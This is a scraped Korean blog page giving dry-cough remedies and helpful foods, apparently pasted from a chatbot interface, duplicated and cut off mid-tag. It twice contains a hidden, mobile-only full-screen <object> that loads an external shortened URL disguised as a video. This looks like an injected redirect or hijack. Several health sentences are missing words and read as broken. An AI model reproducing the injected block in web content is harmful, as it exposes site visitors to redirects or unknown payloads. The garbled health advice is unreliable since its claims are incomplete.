마른 기침 멈추는법과 좋은 음식

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:21">마른 기침 멈추는 법과 좋은 음식</h2><p data-sourcepos="3:1-3:128">마른 기침으로 고생하시나요? 밤새 기침 때문에 잠 못 이루는 경험, 다들 한 번쯤 해보셨을 텐데요. 마른 기침은 다양한 원인에 의해 발생할 수 있으며, 단순한 감기부터 알레르기, 천식 등 만성 까지 그 원인이 매우 다양합니다.</p><h3 data-sourcepos="5:1-5:18">마른 기침, 왜 생길까요?</h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:48"><strong>건조한 환경:</strong> 습도가 낮은 환경은 호흡기를 자극하여 마른 기침을 유발합니다.</li> <li data-sourcepos="8:1-8:52"><strong>알레르기:</strong> 꽃가루, 집먼지진드기 등 알레르겐에 노출되면 기침이 발생할 수 있습니다.</li> <li data-sourcepos="9:1-9:46"><strong>감기, 독감:</strong> 감기 바이러스는 호흡기 점막을 자극하여 기침을 유발합니다.</li> <li data-sourcepos="10:1-10:43"><strong>역류성 식도염:</strong> 위산이 식도로 역류하면 기침을 유발할 수 있습니다.</li> <li data-sourcepos="11:1-12:0"><strong>만성 :</strong> 천식, 만성 기관지염 등 만성 도 마른 기침의 원인이 될 수 있습니다.</li> </ul><h3 data-sourcepos="13:1-13:16">마른 기침 멈추는 방법</h3><ul data-sourcepos="15:1-26:0"> <li data-sourcepos="15:1-16:16"><strong>충분한 수분 섭취:</strong> 하루 1.5~2L 이상의 물을 마셔 목을 촉촉하게 유지합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://m.postnews.co.kr/view.php?idx=6079"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="물 마시기 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcT9knpEn6PPg7GWK2UZj0mp0B-ZQIby-uwyjj_pRqkxlaiumTNb_VWHxC-OzaG6"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://m.postnews.co.kr/view.php?idx=6079" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQUnrTEl-DcmVQqBsTp6EYB-Okhz0xbbOu8bsy05WgoikBqwSJaEO_r15CqAg2Y5TuaGuRvilOeD92ZWp-h5jqNFOjC_vHxiAU9"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.postnews.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 물 마시기 </div></div></single-image></response-element></div></li> <li data-sourcepos="17:1-18:14"><strong>습도 유지:</strong> 가습기를 사용하여 실내 습도를 50~60%로 유지합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://m.e-himart.co.kr/app/lifeStyleNextGen/lifeStyleExpertInfo?spdpNo=98015&amp;rn=1"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="가습기 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRvZ-dRssYhIc5RxwpPJZ30l-RMB2hYjKallsVq_-8-2cTU355XacRT7d7nvO6f"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://m.e-himart.co.kr/app/lifeStyleNextGen/lifeStyleExpertInfo?spdpNo=98015&amp;rn=1" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcRH0jmZp5STfdj8P-dQ7HdpOvqjetipp3KG0W3PObhQBUiMhByEMiy_BW7TcTtdFDdcoWRr-5orxO77TXdxn6aj_SoWjBFBE6V_"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.e-himart.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 가습기 </div></div></single-image></response-element></div></li> <li data-sourcepos="19:1-20:16"><strong>따뜻한 차 마시기:</strong> 생강차, 유자차, 도라지차 등 따뜻한 차는 목을 진정시키고 기침을 완화하는 데 도움이 됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.trend-korea.co.kr/news/articleView.html?idxno=165"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="따뜻한 차 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTNPqRH_4TnWW81RAX_c2SF6EnJDACxsBA0Vm_8cwIe8A_l9ndj_AVIjEqxeUV6"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.trend-korea.co.kr/news/articleView.html?idxno=165" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQnsTEUQgznqC4kLG8NQC_wH7fbm8rm3wdoy4duGuxfv6t0B0v38C_huaSr06wRVPUHCQFmGMa_a5XDZUjWPkdqq4Bkr7LygOWou_mPGBPJ"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.trend-korea.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 따뜻한 차 </div></div></single-image></response-element></div></li> <li data-sourcepos="21:1-22:15"><strong>따뜻한 찜질:</strong> 목 부위에 따뜻한 수건으로 찜질을 하면 혈액순환을 촉진하고 통증을 완화합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.chairmart.co.kr/product/bother01-%EB%B3%B4%EC%98%A8-%EB%AA%A9%EC%B0%9C%EC%A7%88-%EB%AC%BC%EC%A3%BC%EB%A8%B8%EB%8B%88-%EC%98%A8%EC%B0%9C%EC%A7%88/3653/"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="목 찜질 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTkxxTJch5Pe4QFKNdBGU9gXqd6F83WUVRvzv0daNeUBqFCWmwgUJFAsMKdzfNs"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://m.chairmart.co.kr/product/bother01-%EB%B3%B4%EC%98%A8-%EB%AA%A9%EC%B0%9C%EC%A7%88-%EB%AC%BC%EC%A3%BC%EB%A8%B8%EB%8B%88-%EC%98%A8%EC%B0%9C%EC%A7%88/3653/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTtv132Hyuy1Dm5MxvKqlLh3xXhDbhMJYrLJXOXBvLlhrMM1wBYToDZVWIVxPcoE__oYKLuthPwQPNgZ42wPWKJe1aexG58GuiajG8"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.chairmart.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 목 찜질 </div></div></single-image></response-element></div></li> <li data-sourcepos="23:1-23:45"><strong>금연 및 음주 자제:</strong> 흡연과 음주는 기침을 악화시키므로 삼가야 합니다.</li> <li data-sourcepos="24:1-24:56"><strong>따뜻한 물로 샤워:</strong> 뜨거운 물은 기관지를 자극하므로 미지근한 물로 샤워하는 것이 좋습니다.</li> <li data-sourcepos="25:1-26:0"><strong>충분한 휴식:</strong> 숙면을 취하고 스트레스를 관리하는 것이 중요합니다.</li> </ul><h3 data-sourcepos="27:1-27:16">마른 기침에 좋은 음식</h3><ul data-sourcepos="29:1-37:0"> <li data-sourcepos="29:1-30:14"><strong>도라지:</strong> 폐를 맑게 하고 기침을 완화하는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://m.ikunkang.com/news/articleView.html?idxno=32588"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="도라지 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS4QAo8LFc0UFD4GmDXxw_UiS0hufSqcOA5YoFWAih0nsoELbfaHF_g-aSj_J6e"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://m.ikunkang.com/news/articleView.html?idxno=32588" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTDyX3t03lSBlBGOI9ne7jx1LChUX20zZIMoUBJhdE0EhFSZ4Dr-3bNE3WmN-IgAxNNFRNBrpPr_LORlUM6KvC-1Tg-CQirqA"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.ikunkang.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 도라지 </div></div></single-image></response-element></div></li> <li data-sourcepos="31:1-32:12"><strong>배:</strong> 열을 내리고 기침을 멈추는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://hub.zum.com/daily/%EC%8B%9C%EC%9B%90%ED%95%98%EA%B3%A0-%EB%8B%AC%EC%BD%A4%ED%95%9C-%EB%B0%B0%EB%A5%BC-%ED%99%9C%EC%9A%A9%ED%95%9C-%EB%B0%B0%EC%9A%94%EB%A6%AC-%EC%B6%94%EC%B2%9C-15812"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="배 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQ9VL_x6PceQ7iJHtIjXQjZ0F4PseHqMZCTbxvlVwqtGARTmpWByOGxHXhBisFF"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://hub.zum.com/daily/%EC%8B%9C%EC%9B%90%ED%95%98%EA%B3%A0-%EB%8B%AC%EC%BD%A4%ED%95%9C-%EB%B0%B0%EB%A5%BC-%ED%99%9C%EC%9A%A9%ED%95%9C-%EB%B0%B0%EC%9A%94%EB%A6%AC-%EC%B6%94%EC%B2%9C-15812" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcT_PcDjFdANCwZ21hVePZG210G16RKk6JpfrV985T-8SAKDVZnr1G8U7M-b6YqgyadKL0YcQugg9_NfhiO5XiYfng3u8Kc"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">hub.zum.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 배 </div></div></single-image></response-element></div></li> <li data-sourcepos="33:1-34:12"><strong>꿀:</strong> 목을 진정시키고 기침을 완화하는 데 도움이 됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%BF%80"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="꿀 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcT_VsXwARjP4JEUBKlwK7W65V6u8Pn_7skaYdSAle7cnZcCrPyuu3ptBRKIeAwz"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%BF%80" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 꿀 </div></div></single-image></response-element></div></li> <li data-sourcepos="35:1-37:0"><strong>무:</strong> 기침과 가래를 완화하는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="무 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTv7GQ3UayCK26yjEVfN94FuICm_0g-q2yocQ5ZyGpQUxgcIIQHYjgWPRjRrr3I"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3fd043db5a0d2533&quot;,&quot;c_c53c9dea0de9425d&quot;,null,&quot;rc_bd17dda5f851c418&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 무 </div></div></single-image></response-element></div></li> </ul><p data-sourcepos="38:1-38:69"><strong>주의:</strong> 마른 기침이 심하거나 오래 지속된다면 반드시 병원을 방문하여 한 진단을 받고 를 받는 것이 중요합니다.</p><p data-sourcepos="40:1-40:86"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적용될 수 있습니다. 의료 전문가의 진료를 대체할 수 없습니다.</p><p data-sourcepos="42:1-42:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:21">마른 기침 멈추는 법과 좋은 음식</h2><p data-sourcepos="3:1-3:128">마른 기침으로 고생하시나요? 밤새 기침 때문에 잠 못 이루는 경험, 다들 한 번쯤 해보셨을 텐데요. 마른 기침은 다양한 원인에 의해 발생할 수 있으며, 단순한 감기부터 알레르기, 천식 등 만성 까지 그 원인이 매우 다양합니다.</p><h3 data-sourcepos="5:1-5:18">마른 기침, 왜 생길까요?</h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:48"><strong>건조한 환경:</strong> 습도가 낮은 환경은 호흡기를 자극하여 마른 기침을 유발합니다.</li> <li data-sourcepos="8:1-8:52"><strong>알레르기:</strong> 꽃가루, 집먼지진드기 등 알레르겐에 노출되면 기침이 발생할 수 있습니다.</li> <li data-sourcepos="9:1-9:46"><strong>감기, 독감:</strong> 감기 바이러스는 호흡기 점막을 자극하여 기침을 유발합니다.</li> <li data-sourcepos="10:1-10:43"><strong>역류성 식도염:</strong> 위산이 식도로 역류하면 기침을 유발할 수 있습니다.</li> <li data-sourcepos="11:1-12:0"><strong>만성 :</strong> 천식, 만성 기관지염 등 만성 도 마른 기침의 원인이 될 수 있습니다.</li> </ul><h3 data-sourcepos="13:1-13:16">마른 기침 멈추는 방법</h3><ul data-sourcepos="15:1-26:0"> <li data-sourcepos="15:1-16:16"><strong>충분한 수분 섭취:</strong> 하루 1.5~2L 이상의 물을 마셔 목을 촉촉하게 유지합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://m.postnews.co.kr/view.php?idx=6079"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="물 마시기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT9knpEn6PPg7GWK2UZj0mp0B-ZQIby-uwyjj_pRqkxlaiumTNb_VWHxC-OzaG6"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://m.postnews.co.kr/view.php?idx=6079" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQUnrTEl-DcmVQqBsTp6EYB-Okhz0xbbOu8bsy05WgoikBqwSJaEO_r15CqAg2Y5TuaGuRvilOeD92ZWp-h5jqNFOjC_vHxiAU9"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.postnews.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 물 마시기 </div></div></single-image></response-element></div></li> <li data-sourcepos="17:1-18:14"><strong>습도 유지:</strong> 가습기를 사용하여 실내 습도를 50~60%로 유지합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://m.e-himart.co.kr/app/lifeStyleNextGen/lifeStyleExpertInfo?spdpNo=98015&rn=1"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="가습기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRvZ-dRssYhIc5RxwpPJZ30l-RMB2hYjKallsVq_-8-2cTU355XacRT7d7nvO6f"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://m.e-himart.co.kr/app/lifeStyleNextGen/lifeStyleExpertInfo?spdpNo=98015&rn=1" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" 